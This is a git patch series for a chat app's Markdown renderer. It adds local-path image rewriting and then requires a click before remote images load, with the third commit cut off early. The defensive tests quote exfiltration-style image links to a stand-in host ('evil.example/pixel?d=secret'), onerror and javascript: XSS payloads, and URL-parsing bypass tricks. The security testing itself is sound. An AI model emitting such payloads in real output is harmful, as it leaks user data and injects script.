From aa63d6b9f4cb14535fd0191ab358c27f0ee62ce8 Mon Sep 17 00:00:00 2001
From: Adam Malczewski <github@tradam.dev>
Date: Mon, 19 Oct 2026 23:48:50 +0900
Subject: feat(markdown): render local-path images inline via backend image
 route

---
 src/features/markdown/logic/markdown.test.ts      |  93 +++++++++++++++++-
 src/features/markdown/logic/markdown.ts           | 110 ++++++++++++++++++++--
 src/features/markdown/logic/streaming-markdown.ts |  61 ++++++++++--
 src/features/markdown/ui/Markdown.svelte          |  19 +++-
 4 files changed, 263 insertions(+), 20 deletions(-)

(limited to 'src/features/markdown')

diff --git a/src/features/markdown/logic/markdown.test.ts b/src/features/markdown/logic/markdown.test.ts
index 90f1938..61d0d0c 100644
--- a/src/features/markdown/logic/markdown.test.ts
+++ b/src/features/markdown/logic/markdown.test.ts
@@ -1,5 +1,12 @@
 import { describe, expect, it } from "vitest";
-import { renderMarkdown } from "./markdown";
+import { renderMarkdown, renderMarkdownTail } from "./markdown";
+import { advance, createStreamingMarkdown } from "./streaming-markdown";
+
+/** The single rendered `<img>` src, or null. */
+function imageSrc(html: string): string | null {
+  const doc = new DOMParser().parseFromString(html, "text/html");
+  return doc.querySelector("img")?.getAttribute("src") ?? null;
+}
 
 describe("renderMarkdown", () => {
   it("renders GFM markdown (headings, emphasis)", () => {
@@ -95,4 +102,88 @@ describe("renderMarkdown", () => {
   it("returns an empty string for empty input", () => {
     expect(renderMarkdown("")).toBe("");
   });
+
+  describe("local-path images", () => {
+    const BASE = "http://localhost:24203";
+    const image = { apiBase: BASE, cwd: "/w/foo" };
+
+    it("rewrites a file:// URL to the backend image route", () => {
+      expect(imageSrc(renderMarkdown("![pic](file:///home/u/pic.png)", { image }))).toBe(
+        `${BASE}/local-image?path=%2Fhome%2Fu%2Fpic.png`,
+      );
+    });
+
+    it("rewrites an absolute path; an empty apiBase yields a root-relative src", () => {
+      expect(imageSrc(renderMarkdown("![pic](/home/u/pic.png)", { image: { apiBase: "" } }))).toBe(
+        "/local-image?path=%2Fhome%2Fu%2Fpic.png",
+      );
+      expect(imageSrc(renderMarkdown("![pic](/home/u/pic.png)", { image }))).toBe(
+        `${BASE}/local-image?path=%2Fhome%2Fu%2Fpic.png`,
+      );
+    });
+
+    it("resolves a relative path against the conversation cwd", () => {
+      expect(imageSrc(renderMarkdown("![shot](shot.png)", { image }))).toBe(
+        `${BASE}/local-image?path=%2Fw%2Ffoo%2Fshot.png`,
+      );
+      expect(
+        imageSrc(renderMarkdown("![shot](shot.png)", { image: { apiBase: BASE, cwd: "/w/foo/" } })),
+      ).toBe(`${BASE}/local-image?path=%2Fw%2Ffoo%2Fshot.png`);
+    });
+
+    it("leaves a relative path untouched when no cwd is available", () => {
+      expect(imageSrc(renderMarkdown("![shot](shot.png)", { image: { apiBase: BASE } }))).toBe(
+        "shot.png",
+      );
+      expect(imageSrc(renderMarkdown("![shot](shot.png)", { image }))).toBe(
+        `${BASE}/local-image?path=%2Fw%2Ffoo%2Fshot.png`,
+      );
+      expect(imageSrc(renderMarkdown("![shot](shot.png)"))).toBe("shot.png");
+    });
+
+    it("leaves remote http(s) and data: images untouched", () => {
+      expect(imageSrc(renderMarkdown("![remote](https://example.com/a.png)", { image }))).toBe(
+        "https://example.com/a.png",
+      );
+      expect(imageSrc(renderMarkdown("![remote](http://example.com/a.png)", { image }))).toBe(
+        "http://example.com/a.png",
+      );
+      const data = "data:image/png;base64,iVBORw0KGgo=";
+      expect(imageSrc(renderMarkdown(`![inline](${data})`, { image }))).toBe(data);
+    });
+
+    it("does not rewrite image syntax inside fenced code", () => {
+      const html = renderMarkdown("```md\n![pic](/home/u/pic.png)\n```", { image });
+      expect(html).toContain("/home/u/pic.png");
+      expect(html).not.toContain("/local-image");
+    });
+
+    it("rewrites the streaming tail, the settled prefix, and a seeded tail", () => {
+      const state = createStreamingMarkdown();
+      const tail = advance(state, "![pic](/home/u/pic.png)", { image });
+      expect(imageSrc(tail.tailHtml)).toBe(`${BASE}/local-image?path=%2Fhome%2Fu%2Fpic.png`);
+
+      // The settled prefix must render with the same options too.
+      const settled = advance(state, "![pic](/home/u/pic.png)\n\nnext\n", { image });
+      expect(imageSrc(settled.prefixHtml)).toBe(`${BASE}/local-image?path=%2Fhome%2Fu%2Fpic.png`);
+
+      const seeded = renderMarkdownTail(
+        "![shot](shot.png)",
+        { fences: 0, bold: 0, code: 0 },
+        {
+          image,
+        },
+      );
+      expect(imageSrc(seeded)).toBe(`${BASE}/local-image?path=%2Fw%2Ffoo%2Fshot.png`);
+    });
+
+    it("invalidates the streaming cache when the image options change (async cwd)", () => {
+      const state = createStreamingMarkdown();
+      const text = "![shot](shot.png)\n\nnext\n";
+      advance(state, text);
+      expect(imageSrc(state.prefixHtml)).toBe("shot.png"); // no cwd yet
+      const updated = advance(state, text, { image });
+      expect(imageSrc(updated.prefixHtml)).toBe(`${BASE}/local-image?path=%2Fw%2Ffoo%2Fshot.png`);
+    });
+  });
 });
diff --git a/src/features/markdown/logic/markdown.ts b/src/features/markdown/logic/markdown.ts
index fd6caf9..06e6a78 100644
--- a/src/features/markdown/logic/markdown.ts
+++ b/src/features/markdown/logic/markdown.ts
@@ -36,6 +36,7 @@ import xml from "highlight.js/lib/languages/xml";
 import yaml from "highlight.js/lib/languages/yaml";
 import { Marked } from "marked";
 import { markedHighlight } from "marked-highlight";
+import { resolveImageUrl } from "../../../core/chunks";
 
 // Hot set: registered eagerly so common code blocks highlight on first paint.
 const HOT_LANGUAGES: Record<string, LanguageFn> = {
@@ -205,12 +206,106 @@ function sanitize(html: string): string {
   return purify.sanitize(html);
 }
 
+/**
+ * Per-conversation context for rendering local-path images inline. `apiBase`
+ * is the backend HTTP base (may be `""` → a root-relative `/local-image?…`);
+ * `cwd` resolves RELATIVE Markdown image srcs against the conversation's
+ * working directory (the same machine the backend serves files from).
+ */
+export interface MarkdownImageOptions {
+  readonly apiBase: string;
+  readonly cwd?: string | null;
+}
+
+/** Render options shared by all three render paths. */
+export interface MarkdownRenderOptions {
+  /** Balance dangling delimiters while the message is still generating. */
+  readonly streaming?: boolean;
+  /** Rewrite local-path image srcs through the backend's `/local-image` route. */
+  readonly image?: MarkdownImageOptions;
+}
+
+/** Decode a URL-ish path, tolerating malformed `%` escapes. */
+function safeDecode(path: string): string {
+  try {
+    return decodeURIComponent(path);
+  } catch {
+    return path;
+  }
+}
+
+/**
+ * Rewrite one image `src` for the local-image feature. Pure: `input → output`.
+ *
+ * - `file:///path` → local absolute path (scheme stripped).
+ * - `/absolute/path` → local absolute path.
+ * - a relative path (no scheme, no leading `/`) → joined to the conversation
+ *   `cwd` (no `cwd` → left untouched).
+ * - `http(s)://…`, `data:`, and any other scheme → left untouched.
+ *
+ * Local paths become `${apiBase}/local-image?path=<encoded>`, reusing
+ * `resolveImageUrl`'s join-without-double-slash semantics (an empty `apiBase`
+ * yields a root-relative path).
+ */
+function rewriteImageSrc(src: string, image: MarkdownImageOptions): string {
+  const trimmed = src.trim();
+  if (trimmed.length === 0) return src;
+  // Remote images and inline data URLs already work — never touch them.
+  if (/^(?:data:|https?:\/\/)/i.test(trimmed)) return src;
+
+  let path: string;
+
+  if (/^file:\/\//i.test(trimmed)) {
+    // file:///abs/path (and file://localhost/abs/path) → /abs/path.
+    const match = /^file:\/\/([^/]*)(\/.*)?$/i.exec(trimmed);
+    if (match === null) return src;
+    const host = match[1] ?? "";
+    const filePath = match[2] ?? "/";
+    path = host === "" || host.toLowerCase() === "localhost" ? filePath : `/${host}${filePath}`;
+    path = safeDecode(path);
+  } else if (trimmed.startsWith("/")) {
+    path = safeDecode(trimmed);
+  } else if (trimmed.startsWith("~/")) {
+    // The backend expands a leading `~`; pass it through un-joined.
+    path = trimmed;
+  } else if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(trimmed)) {
+    // Some other scheme (mailto:, ftp:, …) — leave it alone.
+    return src;
+  } else {
+    const cwd = image.cwd ?? null;
+    if (cwd === null || cwd.length === 0) return src;
+    const base = cwd.replace(/\/+$/, "");
+    path = `${base}/${safeDecode(trimmed.replace(/^\.\//, ""))}`;
+  }
+
+  return resolveImageUrl(`/local-image?path=${encodeURIComponent(path)}`, image.apiBase);
+}
+
+/**
+ * Parse with marked, optionally rewriting image token `href`s just before
+ * rendering. Doing it on the token stream (not the Markdown source) means
+ * fenced/inline code is never touched, and reference-style images resolve
+ * through marked's normal link resolution. When `image` is absent the parse is
+ * byte-identical to today's.
+ */
+function parseMarkdown(src: string, image?: MarkdownImageOptions): string {
+  if (image === undefined) return md.parse(src) as string;
+
+  const renderer = new md.Renderer();
+  const imageRenderer = renderer.image;
+  renderer.image = (token) =>
+    imageRenderer.call(renderer, {
+      ...token,
+      href: rewriteImageSrc(token.href, image),
+    });
+  return md.parse(src, { renderer }) as string;
+}
+
 /** Render Markdown to sanitized HTML. Returns `""` if parsing ever throws. */
-export function renderMarkdown(text: string, opts?: { streaming?: boolean }): string {
+export function renderMarkdown(text: string, opts?: MarkdownRenderOptions): string {
   const src = opts?.streaming === true ? closeOpenDelimiters(text) : text;
   try {
-    const raw = md.parse(src) as string;
-    return sanitize(addCopyButtons(raw));
+    return sanitize(addCopyButtons(parseMarkdown(src, opts?.image)));
   } catch {
     return "";
   }
@@ -225,11 +320,14 @@ export function renderMarkdown(text: string, opts?: { streaming?: boolean }): st
  * degenerate case (nothing settled yet) is exactly today's behavior.
  * Returns `""` if parsing ever throws.
  */
-export function renderMarkdownTail(text: string, seed: DelimiterCounts = ZERO_COUNTS): string {
+export function renderMarkdownTail(
+  text: string,
+  seed: DelimiterCounts = ZERO_COUNTS,
+  opts?: MarkdownRenderOptions,
+): string {
   const src = closeOpenDelimiters(text, seed);
   try {
-    const raw = md.parse(src) as string;
-    return sanitize(addCopyButtons(raw));
+    return sanitize(addCopyButtons(parseMarkdown(src, opts?.image)));
   } catch {
     return "";
   }
diff --git a/src/features/markdown/logic/streaming-markdown.ts b/src/features/markdown/logic/streaming-markdown.ts
index e273c66..b530cd4 100644
--- a/src/features/markdown/logic/streaming-markdown.ts
+++ b/src/features/markdown/logic/streaming-markdown.ts
@@ -31,6 +31,8 @@
 import {
   countDelimiters,
   type DelimiterCounts,
+  type MarkdownImageOptions,
+  type MarkdownRenderOptions,
   renderMarkdown,
   renderMarkdownTail,
   renderOpenFence,
@@ -90,6 +92,13 @@ export interface StreamingMarkdownState {
   blankRunStart: number | null;
   /** INTERNAL — the best settle candidate found by the current scan pass. */
   pendingSettle: number;
+  /**
+   * INTERNAL — identity of the image-render options (apiBase + cwd) the cache
+   * was rendered with. The options can arrive asynchronously (the cwd loads
+   * after mount), so a change invalidates the settled cache: image srcs in the
+   * prefix would otherwise keep the stale resolution.
+   */
+  imageKey: string;
 }
 
 /** Fresh state for one streaming message. */
@@ -109,9 +118,22 @@ export function createStreamingMarkdown(): StreamingMarkdownState {
     linkRefSeen: false,
     blankRunStart: null,
     pendingSettle: -1,
+    imageKey: "",
   };
 }
 
+/** Identity of the image options, so an async cwd appearing invalidates the cache. */
+function imageKeyOf(image: MarkdownImageOptions | undefined): string {
+  return image === undefined ? "" : JSON.stringify([image.apiBase, image.cwd ?? null]);
+}
+
+/** Build per-render options without setting `image: undefined` (exactOptionalPropertyTypes). */
+function renderOptionsOf(
+  image: MarkdownImageOptions | undefined,
+): MarkdownRenderOptions | undefined {
+  return image === undefined ? undefined : { image };
+}
+
 // ── Scanner helpers (CommonMark block starts, mirroring what marked does) ──
 
 /** A fenced-code-block opening line: ≤3 spaces indent, ≥3 backticks/tildes + info string. */
@@ -382,9 +404,13 @@ function scan(s: StreamingMarkdownState): void {
 }
 
 /** Render the newly-settled span once and fold it into the prefix cache. */
-function commitSettle(s: StreamingMarkdownState, end: number): void {
+function commitSettle(
+  s: StreamingMarkdownState,
+  end: number,
+  image: MarkdownImageOptions | undefined,
+): void {
   const chunk = s.source.slice(s.settledOffset, end);
-  s.prefixHtml += renderMarkdown(chunk);
+  s.prefixHtml += renderMarkdown(chunk, renderOptionsOf(image));
   s.seed = addCounts(s.seed, countDelimiters(chunk));
   s.settledOffset = end;
 }
@@ -395,13 +421,24 @@ function commitSettle(s: StreamingMarkdownState, end: number): void {
  * string identity is what lets Svelte skip settled DOM). Resets itself when
  * the text shrinks or is otherwise not an append-extension.
  */
-export function advance(state: StreamingMarkdownState, textSoFar: string): StreamingMarkdownResult {
-  if (textSoFar === state.source && state.last !== null) return state.last;
-  if (!textSoFar.startsWith(state.source)) {
+export function advance(
+  state: StreamingMarkdownState,
+  textSoFar: string,
+  opts?: MarkdownRenderOptions,
+): StreamingMarkdownResult {
+  const image = opts?.image;
+  const imageKey = imageKeyOf(image);
+  if (textSoFar === state.source && state.last !== null && state.imageKey === imageKey) {
+    return state.last;
+  }
+  // A changed render option (e.g. the cwd loading after mount) invalidates the
+  // settled cache — its image srcs were resolved with the old options.
+  if (state.imageKey !== imageKey || !textSoFar.startsWith(state.source)) {
     resetTo(state, textSoFar);
   } else {
     state.source = textSoFar;
   }
+  state.imageKey = imageKey;
 
   // A PARTIAL trailing line that starts a `[…]:` definition already changes
   // how the whole-text parse resolves shortrefs (marked parses the truncated
@@ -418,10 +455,10 @@ export function advance(state: StreamingMarkdownState, textSoFar: string): Strea
 
   scan(state);
   if (!state.linkRefSeen && state.pendingSettle > state.settledOffset) {
-    commitSettle(state, state.pendingSettle);
+    commitSettle(state, state.pendingSettle, image);
   }
 
-  const result = renderTail(state);
+  const result = renderTail(state, image);
   state.last = result;
   return result;
 }
@@ -434,7 +471,10 @@ export function advance(state: StreamingMarkdownState, textSoFar: string): Strea
  *     between the marker's arrival and the line's completion);
  *  3. otherwise prose → today's pipeline, seeded with the settled parity.
  */
-function renderTail(s: StreamingMarkdownState): StreamingMarkdownResult {
+function renderTail(
+  s: StreamingMarkdownState,
+  image: MarkdownImageOptions | undefined,
+): StreamingMarkdownResult {
   // 1. Open top-level fence: everything from its opening line is code content.
   if (s.fence !== null && s.fence.start >= s.settledOffset) {
     let code = s.source.slice(s.fence.contentStart);
@@ -467,7 +507,8 @@ function renderTail(s: StreamingMarkdownState): StreamingMarkdownResult {
       const prose = s.source.slice(s.settledOffset, s.scanOffset);
       return {
         prefixHtml: s.prefixHtml,
-        tailHtml: renderMarkdownTail(prose, s.seed) + renderOpenFence(info, ""),
+        tailHtml:
+          renderMarkdownTail(prose, s.seed, renderOptionsOf(image)) + renderOpenFence(info, ""),
       };
     }
   }
@@ -475,6 +516,6 @@ function renderTail(s: StreamingMarkdownState): StreamingMarkdownResult {
   // 3. Prose tail.
   return {
     prefixHtml: s.prefixHtml,
-    tailHtml: renderMarkdownTail(s.source.slice(s.settledOffset), s.seed),
+    tailHtml: renderMarkdownTail(s.source.slice(s.settledOffset), s.seed, renderOptionsOf(image)),
   };
 }
diff --git a/src/features/markdown/ui/Markdown.svelte b/src/features/markdown/ui/Markdown.svelte
index da2c9ba..0adbbea 100644
--- a/src/features/markdown/ui/Markdown.svelte
+++ b/src/features/markdown/ui/Markdown.svelte
@@ -1,16 +1,29 @@
 <script lang="ts">
-  import { renderMarkdown } from "../logic/markdown";
+  import { type MarkdownImageOptions, renderMarkdown } from "../logic/markdown";
   import { advance, createStreamingMarkdown } from "../logic/streaming-markdown";
 
   let {
     text,
     streaming = false,
+    image = undefined,
   }: {
     text: string;
     /** Balance dangling delimiters while the message is still generating. */
     streaming?: boolean;
+    /**
+     * Per-conversation local-image context: the backend HTTP base and the
+     * conversation cwd. Markdown image srcs that are local paths are rewritten
+     * through `${apiBase}/local-image?path=…` (relative paths resolve against
+     * `cwd`); remote/data URLs are untouched. Omit it to render srcs as-is.
+     */
+    image?: MarkdownImageOptions;
   } = $props();
 
+  // Keep the optional `image` out of the options object when absent
+  // (exactOptionalPropertyTypes). Identity is irrelevant: the streaming cache
+  // keys on apiBase/cwd values.
+  const renderOpts = $derived(image === undefined ? undefined : { image });
+
   // Checkpoint streaming state: one per component instance (per streaming
   // message). It caches the settled blocks' HTML so each delta re-renders only
   // the live tail — never the settled prefix (see logic/streaming-markdown).
@@ -22,8 +35,8 @@
   // chunk): ONE full authoritative render — today's exact behavior, so the
   // final/persisted output is byte-identical by construction.
   const rendered = $derived.by(() => {
-    if (!streaming) return { prefixHtml: "", tailHtml: renderMarkdown(text) };
-    return advance(streamingState, text);
+    if (!streaming) return { prefixHtml: "", tailHtml: renderMarkdown(text, renderOpts) };
+    return advance(streamingState, text, renderOpts);
   });
 
   let container: HTMLElement;
-- 
cgit v1.2.3


From 85bcf6d031386c5dcf3435fe1a1f6b0abf4f9a61 Mon Sep 17 00:00:00 2001
From: Adam Malczewski <github@tradam.dev>
Date: Wed, 21 Oct 2026 01:10:55 +0900
Subject: fix(review-2.7): require clicks to load remote Markdown images

---
 src/features/markdown/logic/markdown.test.ts | 79 +++++++++++++++++++++++++---
 src/features/markdown/logic/markdown.ts      | 64 +++++++++++++++-------
 src/features/markdown/ui/Markdown.svelte     | 27 ++++++++--
 src/features/markdown/ui/markdown.test.ts    | 39 ++++++++++++++
 4 files changed, 179 insertions(+), 30 deletions(-)

(limited to 'src/features/markdown')

diff --git a/src/features/markdown/logic/markdown.test.ts b/src/features/markdown/logic/markdown.test.ts
index 61d0d0c..320a5f3 100644
--- a/src/features/markdown/logic/markdown.test.ts
+++ b/src/features/markdown/logic/markdown.test.ts
@@ -103,6 +103,77 @@ describe("renderMarkdown", () => {
     expect(renderMarkdown("")).toBe("");
   });
 
+  describe("remote images require consent", () => {
+    const image = { apiBase: "http://localhost:24203", cwd: "/work" };
+
+    it.each([
+      "![secret](https://evil.example/pixel?d=secret)",
+      "![secret](http://evil.example/pixel)",
+      "![secret](//evil.example/pixel)",
+      '<img src="https://evil.example/pixel" onerror="alert(1)">',
+      '<img src="//evil.example/pixel">',
+      '<img src="https:&#10;//evil.example/pixel">',
+      '<img src="/\\evil.example/pixel">',
+    ])("replaces %s with an inert, host-labelled button", (text) => {
+      const doc = new DOMParser().parseFromString(renderMarkdown(text, { image }), "text/html");
+      expect(doc.querySelector("img")).toBeNull();
+      const button = doc.querySelector("button.remote-image");
+      expect(button?.textContent).toBe("Load image from evil.example");
+      expect(button?.getAttribute("type")).toBe("button");
+      expect(button?.getAttribute("data-src")).toMatch(/^https?:\/\/evil\.example\//);
+      expect(button?.hasAttribute("onerror")).toBe(false);
+    });
+
+    it.each([
+      "/local-image?path=%2Ftmp%2Fa.png",
+      "data:image/png;base64,iVBORw0KGgo=",
+      `${window.location.origin}/image.png`,
+      "http://localhost:24203/images/conversation/image.png",
+    ])("keeps trusted image %s", (src) => {
+      expect(imageSrc(renderMarkdown(`<img src="${src}">`, { image }))).toBe(src);
+    });
+
+    it("compares exact origins, not hostname prefixes or URL credentials", () => {
+      for (const src of [
+        "http://localhost:24203.evil.example/a.png",
+        "http://localhost:24203@evil.example/a.png",
+        "http://localhost:24206/a.png",
+        "https://localhost:24203/a.png",
+      ]) {
+        expect(imageSrc(renderMarkdown(`<img src="${src}">`, { image }))).toBeNull();
+      }
+    });
+
+    it("does not leak a backend allowlist between renders", () => {
+      const text = "![pic](http://localhost:24203/a.png)";
+      expect(imageSrc(renderMarkdown(text, { image }))).not.toBeNull();
+      expect(imageSrc(renderMarkdown(text))).toBeNull();
+    });
+
+    it("removes responsive image sources so srcset cannot bypass consent", () => {
+      const html = renderMarkdown(
+        '<picture><source srcset="https://evil.example/a.png"><img src="/safe.png" srcset="https://evil.example/b.png 2x"></picture>',
+      );
+      expect(html).not.toContain("srcset");
+      expect(html).not.toContain("evil.example");
+    });
+
+    it("blocks images in streaming tails and settled prefixes too", () => {
+      const state = createStreamingMarkdown();
+      const text = "![pic](https://evil.example/pixel)";
+      expect(imageSrc(renderMarkdownTail(text))).toBeNull();
+      expect(advance(state, text).tailHtml).toContain("remote-image");
+      const settled = advance(state, `${text}\n\nafter\n`);
+      expect(settled.prefixHtml).toContain("remote-image");
+      expect(imageSrc(settled.prefixHtml)).toBeNull();
+    });
+
+    it("does not affect other DOMPurify consumers", async () => {
+      const { default: purify } = await import("dompurify");
+      expect(imageSrc(purify.sanitize('<img src="https://evil.example/a.png">'))).not.toBeNull();
+    });
+  });
+
   describe("local-path images", () => {
     const BASE = "http://localhost:24203";
     const image = { apiBase: BASE, cwd: "/w/foo" };
@@ -141,13 +212,7 @@ describe("renderMarkdown", () => {
       expect(imageSrc(renderMarkdown("![shot](shot.png)"))).toBe("shot.png");
     });
 
-    it("leaves remote http(s) and data: images untouched", () => {
-      expect(imageSrc(renderMarkdown("![remote](https://example.com/a.png)", { image }))).toBe(
-        "https://example.com/a.png",
-      );
-      expect(imageSrc(renderMarkdown("![remote](http://example.com/a.png)", { image }))).toBe(
-        "http://example.com/a.png",
-      );
+    it("leaves data: images untouched", () => {
       const data = "data:image/png;base64,iVBORw0KGgo=";
       expect(imageSrc(renderMarkdown(`![inline](${data})`, { image }))).toBe(data);
     });
diff --git a/src/features/markdown/logic/markdown.ts b/src/features/markdown/logic/markdown.ts
index 06e6a78..a65997e 100644
--- a/src/features/markdown/logic/markdown.ts
+++ b/src/features/markdown/logic/markdown.ts
@@ -186,24 +186,47 @@ function addCopyButtons(html: string): string {
 }
 
 /**
- * A DEDICATED DOMPurify instance (not the shared default export) so the
- * link hook below only applies to chat Markdown, never to any other sanitizer
- * user. Every link opens in a NEW TAB: after DOMPurify has allowlisted the
- * attributes, each `<a href>` gets `target="_blank"` + `rel="noopener
- * noreferrer"` (the opened page can't reach `window.opener` or see a referrer).
- * Applied in the hook, so it covers marked links, autolinks, AND raw-HTML
- * anchors alike — and the hook overwrites any author-supplied target/rel.
+ * A dedicated, render-local DOMPurify instance: hooks never affect another
+ * consumer or retain a conversation's backend allowlist. The document base is
+ * part of the sanitizer's existing DOM dependency; no location/state is cached.
  */
-const purify = DOMPurify();
-purify.addHook("afterSanitizeAttributes", (node) => {
-  if (node.tagName === "A" && node.hasAttribute("href")) {
-    node.setAttribute("target", "_blank");
-    node.setAttribute("rel", "noopener noreferrer");
-  }
-});
+function sanitize(html: string, image?: MarkdownImageOptions): string {
+  const purify = DOMPurify();
+  const base = document.baseURI;
+  const origin = new URL(base).origin;
+  const backendOrigin = image === undefined ? origin : new URL(image.apiBase || base, base).origin;
+  purify.addHook("afterSanitizeAttributes", (node) => {
+    if (node.tagName === "A" && node.hasAttribute("href")) {
+      node.setAttribute("target", "_blank");
+      node.setAttribute("rel", "noopener noreferrer");
+    }
+    if (node.tagName !== "IMG") return;
+    const src = node.getAttribute("src");
+    if (src === null) return;
+    let url: URL;
+    try {
+      url = new URL(src, base);
+    } catch {
+      node.removeAttribute("src");
+      return;
+    }
+    if (url.protocol !== "http:" && url.protocol !== "https:") return;
+    if (url.origin === origin || url.origin === backendOrigin) return;
 
-function sanitize(html: string): string {
-  return purify.sanitize(html);
+    // Only safe, inert attributes are carried over. In particular, never copy
+    // srcset or author event handlers to the image created after consent.
+    const button = node.ownerDocument.createElement("button");
+    button.setAttribute("type", "button");
+    button.setAttribute("class", "remote-image btn btn-sm");
+    button.setAttribute("data-src", url.href);
+    button.setAttribute("data-alt", node.getAttribute("alt") ?? "");
+    const title = node.getAttribute("title");
+    if (title !== null) button.setAttribute("data-title", title);
+    button.textContent = `Load image from ${url.host}`;
+    node.parentNode?.replaceChild(button, node);
+  });
+  // Responsive candidates on <img>/<picture> must not bypass the src hook.
+  return purify.sanitize(html, { FORBID_ATTR: ["srcset"] });
 }
 
 /**
@@ -250,8 +273,9 @@ function safeDecode(path: string): string {
 function rewriteImageSrc(src: string, image: MarkdownImageOptions): string {
   const trimmed = src.trim();
   if (trimmed.length === 0) return src;
-  // Remote images and inline data URLs already work — never touch them.
-  if (/^(?:data:|https?:\/\/)/i.test(trimmed)) return src;
+  // Network-path URLs (including browser-normalized backslashes) are URLs,
+  // not local filesystem paths. The sanitizer applies the consent policy.
+  if (/^(?:data:|https?:\/\/)/i.test(trimmed) || /^[/\\]{2}/.test(trimmed)) return src;
 
   let path: string;
 
@@ -305,7 +329,7 @@ function parseMarkdown(src: string, image?: MarkdownImageOptions): string {
 export function renderMarkdown(text: string, opts?: MarkdownRenderOptions): string {
   const src = opts?.streaming === true ? closeOpenDelimiters(text) : text;
   try {
-    return sanitize(addCopyButtons(parseMarkdown(src, opts?.image)));
+    return sanitize(addCopyButtons(parseMarkdown(src, opts?.image)), opts?.image);
   } catch {
     return "";
   }
@@ -327,7 +351,7 @@ export function renderMarkdownTail(
 ): string {
   const src = closeOpenDelimiters(text, seed);
   try {
-    return sanitize(addCopyButtons(parseMarkdown(src, opts?.image)));
+    return sanitize(addCopyButtons(parseMarkdown(src, opts?.image)), opts?.image);
   } catch {
     return "";
   }
diff --git a/src/features/markdown/ui/Markdown.svelte b/src/features/markdown/ui/Markdown.svelte
index 0adbbea..a0fd276 100644
--- a/src/features/markdown/ui/Markdown.svelte
+++ b/src/features/markdown/ui/Markdown.svelte
@@ -14,7 +14,8 @@
      * Per-conversation local-image context: the backend HTTP base and the
      * conversation cwd. Markdown image srcs that are local paths are rewritten
      * through `${apiBase}/local-image?path=…` (relative paths resolve against
-     * `cwd`); remote/data URLs are untouched. Omit it to render srcs as-is.
+     * `cwd`). Remote HTTP(S) images require a click; data, same-origin and
+     * backend images load inline. Omit it to skip local-path rewriting.
      */
     image?: MarkdownImageOptions;
   } = $props();
@@ -41,8 +42,8 @@
 
   let container: HTMLElement;
 
-  // One delegated listener on the stable container handles every code block's
-  // copy button — including blocks re-created when the tail html changes
+  // One delegated listener on the stable container handles image consent and
+  // every code block's copy button — including blocks re-created when the tail html changes
   // (streaming), since the listener lives on the container, not the buttons.
   // Clipboard is the edge effect; absent (insecure context) → no-op.
   $effect(() => {
@@ -52,6 +53,26 @@
     const onClick = (event: Event): void => {
       const target = event.target;
       if (!(target instanceof Element)) return;
+      const remote = target.closest<HTMLButtonElement>("button.remote-image[data-src]");
+      if (remote !== null && el.contains(remote)) {
+        event.preventDefault(); // A Markdown image may be wrapped in a link.
+        event.stopPropagation();
+        // data-* is authorable in raw HTML: validate again at the DOM edge.
+        let url: URL;
+        try {
+          url = new URL(remote.dataset.src ?? "");
+        } catch {
+          return;
+        }
+        if (url.protocol !== "http:" && url.protocol !== "https:") return;
+        const img = el.ownerDocument.createElement("img");
+        img.alt = remote.dataset.alt ?? "";
+        if (remote.dataset.title !== undefined) img.title = remote.dataset.title;
+        img.setAttribute("referrerpolicy", "no-referrer");
+        img.src = url.href;
+        remote.replaceWith(img);
+        return;
+      }
       const button = target.closest<HTMLButtonElement>("[data-copy]");
       if (button === null) return;
 
diff --git a/src/features/markdown/ui/markdown.test.ts b/src/features/markdown/ui/markdown.test.ts
index 721dddb..149bff5 100644
--- a/src/features/markdown/ui/markdown.test.ts
+++ b/src/features/markdown/ui/markdown.test.ts
@@ -39,6 +39,45 @@ describe("Markdown", () => {
     expect(writeText.mock.calls[0]?.[0]).toContain("const x = 1;");
   });
 
+  it.each([
+    false,
+    true,
+  ])("loads only the clicked remote image (streaming=%s)", async (streaming) => {
+    const { container } = render(Markdown, {
+      props: {
+        text: '![first](https://evil.example/a.png "A title")\n\n![second](https://other.example/b.png)',
+        streaming,
+      },
+    });
+    expect(container.querySelector("img")).toBeNull();
+    const button = screen.getByRole("button", { name: "Load image from evil.example" });
+    await fireEvent.click(button);
+    const img = container.querySelector("img");
+    expect(img?.getAttribute("src")).toBe("https://evil.example/a.png");
+    expect(img?.getAttribute("alt")).toBe("first");
+    expect(img?.getAttribute("title")).toBe("A title");
+    expect(img?.getAttribute("referrerpolicy")).toBe("no-referrer");
+    expect(
+      screen.getByRole("button", { name: "Load image from other.example" }),
+    ).toBeInTheDocument();
+  });
+
+  it("rejects an unsafe URL in a forged placeholder", async () => {
+    const { container } = render(Markdown, {
+      props: { text: '<button class="remote-image" data-src="javascript:alert(1)">Load</button>' },
+    });
+    await fireEvent.click(screen.getByRole("button", { name: "Load" }));
+    expect(container.querySelector("img")).toBeNull();
+  });
+
+  it("delegates clicks on newly rendered images and prevents linked-image navigation", async () => {
+    const { container, rerender } = render(Markdown, { props: { text: "start" } });
+    await rerender({ text: "[![pic](https://evil.example/a.png)](https://other.example)" });
+    const button = screen.getByRole("button", { name: "Load image from evil.example" });
+    expect(await fireEvent.click(button)).toBe(false);
+    expect(container.querySelector("img")?.getAttribute("src")).toBe("https://evil.example/a.png");
+  });
+
   it("non-streaming renders a single container (today's full-render path)", () => {
     const { container } = render(Markdown, { props: { text: "# Hello" } });
     expect(container.querySelector(".markdown-stream-prefix")).toBeNull();
-- 
cgit v1.2.3


From 273b824d2784959bf89ee77cd8f5d0703b1211f7 Mon Sep 17 00:00:00 2001
From: Adam Malczewski <github@tradam.dev>
Date: Wed, 21 Oct 2026 01:22:00 +0900
Subject: fix(review-7.5): harden counting tests and stub all store fetches

---
 src/app/store.test.ts                              | 175 ++++++++++++++++-----
 .../markdown/logic/streaming-markdown.test.ts      |   4 +-
 2 files changed, 141 insertions(+), 38 deletions(-)

(limited to 'src/features/markdown')

diff --git a/src/app/store.test.ts b/src/app/store.test.ts
index 4c530f1..f5d4723 100644
--- a/src/app/store.test.ts
+++ b/src/app/store.test.ts
@@ -2,10 +2,28 @@ import type { ConversationHistoryResponse, WsServerMessage } from "@dispatch/tra
 import type { SurfaceServerMessage } from "@dispatch/ui-contract";
 import type { NamedAgent } from "@dispatch/wire";
 import { IDBFactory } from "fake-indexeddb";
-import { describe, expect, it, vi } from "vitest";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
 import type { WebSocketLike } from "../adapters/ws";
 import { createAppStore } from "./store.svelte";
 
+// Never let an omitted injection reach a real backend. Track rejected requests
+// too: the app deliberately catches network errors, which must not hide a bad fake.
